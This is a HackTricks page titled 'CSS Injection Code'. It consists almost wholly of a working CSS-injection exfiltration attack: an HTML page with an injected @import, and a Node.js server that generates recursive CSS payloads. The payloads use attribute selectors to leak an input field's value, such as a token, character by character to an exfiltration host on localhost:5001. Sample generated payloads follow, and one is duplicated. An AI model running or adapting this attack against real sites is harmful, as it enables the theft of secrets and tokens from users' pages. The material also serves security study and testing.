CSS Injection Code - HackTricks

# CSS Injection Code

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

    <!DOCTYPE html>
    <body>
      <div>
        <article>
          <div>
            <p></p>
            <div>
              <div>
                <div>
                  <div>
                    <div>
                      <input type="text" value="1234567890" />
                      <style>
                        @import url("//localhost:5001/start?");
                      </style>
                    </div>
                  </div>
                </div>
              </div>
            </div>
          </div>
        </article>
      </div>
    </body>

    const http = require("http")
    const url = require("url")

    // Port to exfiltrate to
    const port = 5001
    // Host to exfiltrate to
    const HOSTNAME = "http://localhost:5001"
    const DEBUG = false

    var prefix = "",
      postfix = ""
    var pending = []
    var stop = false,
      ready = 0,
      n = 0

    const requestHandler = (request, response) => {
      let req = url.parse(request.url, url)
      log("\treq: %s", request.url)

      //If stop, leakeage is finished
      if (stop) return response.end()

      switch (req.pathname) {
        // This only launched when starting the leakeage
        case "/start":
          genResponse(response)
          break

        // Everytime something is leaked
        case "/leak":
          response.end()
          // If response comes with a pre, then we leaked some preffix s(E)cret
          if (req.query.pre && prefix !== req.query.pre) {
            prefix = req.query.pre

            // If response comes with a post, then we leaked some suffix secre(T)
          } else if (req.query.post && postfix !== req.query.post) {
            postfix = req.query.post
          } else {
            break
          }

          // Always a pre and a post response must arrived before responding the "next" @import (which is waiting for response)
          if (ready == 2) {
            genResponse(pending.shift())
            ready = 0
          } else {
            ready++
            log("\tleak: waiting others...")
          }
          break

        // While waiting for a pre and a post, the next @import is waiting to be responded
        // by a new generated payload with another "pre" and "post"
        case "/next":
          if (ready == 2) {
            genResponse(respose)
            ready = 0
          } else {
            pending.push(response)
            ready++
            log("\tquery: waiting others...")
          }
          break

        // Called when the secret is leaked
        case "/end":
          stop = true
          console.log("[+] END: %s", req.query.token)

        default:
          response.end()
      }
    }

    const genResponse = (response) => {
      // Verbose output to know what do we know
      console.log("...pre-payoad: " + prefix)
      console.log("...post-payoad: " + postfix)

      // Payload generation, you have an example of what is generated below
      let css =
        "@import url(" +
        HOSTNAME +
        "/next?" +
        Math.random() +
        ");\n" +
        [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, "a", "b", "c", "d", "e", "f"]
          .map(
            (e) =>
              'input[value$="' +
              e +
              postfix +
              '"]{--e' +
              n +
              ":url(" +
              HOSTNAME +
              "/leak?post=" +
              e +
              postfix +
              ")}"
          )
          .join("") +
        "div ".repeat(n) +
        "input{background:var(--e" +
        n +
        ")}" +
        [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, "a", "b", "c", "d", "e", "f"]
          .map(
            (e) =>
              'input[value^="' +
              prefix +
              e +
              '"]{--s' +
              n +
              ":url(" +
              HOSTNAME +
              "/leak?pre=" +
              prefix +
              e +
              ")}"
          )
          .join("") +
        "div ".repeat(n) +
        "input{border-image:var(--s" +
        n +
        ")}" +
        "input[value=" +
        prefix +
        postfix +
        "]{list-style:url(" +
        HOSTNAME +
        "/end?token=" +
        prefix +
        postfix +
        "&)};"

      response.writeHead(200, { "Content-Type": "text/css" })
      response.write(css)
      response.end()
      n++
    }

    // Server listening
    const server = http.createServer(requestHandler)

    server.listen(port, (err) => {
      if (err) {
        return console.log("[-] Error: something bad happened", err)
      }
      console.log("[+] Server is listening on %d", port)
    })

    function log() {
      if (DEBUG) console.log.apply(console, arguments)
    }

    /*
    HTTP/1.1 200 OK
    Content-Type: text/css
    Date: Fri, 01 Apr 2022 14:35:39 GMT
    Connection: close
    Content-Length: 2149

    @import url(http://localhost:5001/next?0.7834603960990516);
    input[value$="0"]{--e0:url(http://localhost:5001/leak?post=0)}
    input[value$="1"]{--e0:url(http://localhost:5001/leak?post=1)}
    input[value$="2"]{--e0:url(http://localhost:5001/leak?post=2)}
    input[value$="3"]{--e0:url(http://localhost:5001/leak?post=3)}
    input[value$="4"]{--e0:url(http://localhost:5001/leak?post=4)}
    input[value$="5"]{--e0:url(http://localhost:5001/leak?post=5)}
    input[value$="6"]{--e0:url(http://localhost:5001/leak?post=6)}
    input[value$="7"]{--e0:url(http://localhost:5001/leak?post=7)}
    input[value$="8"]{--e0:url(http://localhost:5001/leak?post=8)}
    input[value$="9"]{--e0:url(http://localhost:5001/leak?post=9)}
    input[value$="a"]{--e0:url(http://localhost:5001/leak?post=a)}
    input[value$="b"]{--e0:url(http://localhost:5001/leak?post=b)}
    input[value$="c"]{--e0:url(http://localhost:5001/leak?post=c)}
    input[value$="d"]{--e0:url(http://localhost:5001/leak?post=d)}
    input[value$="e"]{--e0:url(http://localhost:5001/leak?post=e)}
    input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
    input{background:var(--e0)}
    input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
    input[value^="1"]{--s0:url(http://localhost:5001/leak?pre=1)}
    input[value^="2"]{--s0:url(http://localhost:5001/leak?pre=2)}
    input[value^="3"]{--s0:url(http://localhost:5001/leak?pre=3)}
    input[value^="4"]{--s0:url(http://localhost:5001/leak?pre=4)}
    input[value^="5"]{--s0:url(http://localhost:5001/leak?pre=5)}
    input[value^="6"]{--s0:url(http://localhost:5001/leak?pre=6)}
    input[value^="7"]{--s0:url(http://localhost:5001/leak?pre=7)}
    input[value^="8"]{--s0:url(http://localhost:5001/leak?pre=8)}
    input[value^="9"]{--s0:url(http://localhost:5001/leak?pre=9)}
    input[value^="a"]{--s0:url(http://localhost:5001/leak?pre=a)}
    input[value^="b"]{--s0:url(http://localhost:5001/leak?pre=b)}
    input[value^="c"]{--s0:url(http://localhost:5001/leak?pre=c)}
    input[value^="d"]{--s0:url(http://localhost:5001/leak?pre=d)}
    input[value^="e"]{--s0:url(http://localhost:5001/leak?pre=e)}
    input[value^="f"]{--s0:url(http://localhost:5001/leak?pre=f)}
    input{border-image:var(--s0)}
    input[value=]{list-style:url(http://localhost:5001/end?token=&)};
    */

    /*
    HTTP/1.1 200 OK
    Content-Type: text/css
    Date: Fri, 01 Apr 2022 14:35:39 GMT
    Connection: close
    Content-Length: 2149

    @import url(http://localhost:5001/next?0.7834603960990516);
    input[value$="0"]{--e0:url(http://localhost:5001/leak?post=0)}
    input[value$="1"]{--e0:url(http://localhost:5001/leak?post=1)}
    input[value$="2"]{--e0:url(http://localhost:5001/leak?post=2)}
    input[value$="3"]{--e0:url(http://localhost:5001/leak?post=3)}
    input[value$="4"]{--e0:url(http://localhost:5001/leak?post=4)}
    input[value$="5"]{--e0:url(http://localhost:5001/leak?post=5)}
    input[value$="6"]{--e0:url(http://localhost:5001/leak?post=6)}
    input[value$="7"]{--e0:url(http://localhost:5001/leak?post=7)}
    input[value$="8"]{--e0:url(http://localhost:5001/leak?post=8)}
    input[value$="9"]{--e0:url(http://localhost:5001/leak?post=9)}
    input[value$="a"]{--e0:url(http://localhost:5001/leak?post=a)}
    input[value$="b"]{--e0:url(http://localhost:5001/leak?post=b)}
    input[value$="c"]{--e0:url(http://localhost:5001/leak?post=c)}
    input[value$="d"]{--e0:url(http://localhost:5001/leak?post=d)}
    input[value$="e"]{--e0:url(http://localhost:5001/leak?post=e)}
    input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
    input{background:var(--e0)}
    input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
    input[value^="1"]{--s0:url(http://localhost:5001/leak?pre=1)}
    input[value^="2"]{--s0:url(http://localhost:5001/leak?pre=2)}
    input[value^="3"]{--s0:url(http://localhost:5001/leak?pre=3)}
    input[value^="4"]{--s0:url(http://localhost:5001/leak?pre=4)}
    input[value^="5"]{--s0:url(http://localhost:5001/leak?pre=5)}
    input[value^="6"]{--s0:url(http://localhost:5001/leak?pre=6)}
    input[value^="7"]{--s0:url(http://localhost:5001/leak?pre=7)}
    input[value^="8"]{--s0:url(http://localhost:5001/leak?pre=8)}
    input[value^="9"]{--s0:url(http://localhost:5001/leak?pre=9)}
    input[value^="a"]{--s0:url(http://localhost:5001/leak?pre=a)}
    input[value^="b"]{--s0:url(http://localhost:5001/leak?pre=b)}
    input[value^="c"]{--s0:url(http://localhost:5001/leak?pre=c)}
    input[value^="d"]{--s0:url(http://localhost:5001/leak?pre=d)}
    input[value^="e"]{--s0:url(http://localhost:5001/leak?pre=e)}
    input[value^="f"]{--s0:url(http://localhost:5001/leak?pre=f)}
    input{border-image:var(--s0)}
    input[value=]{list-style:url(http://localhost:5001/end?token=&)};
    */

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.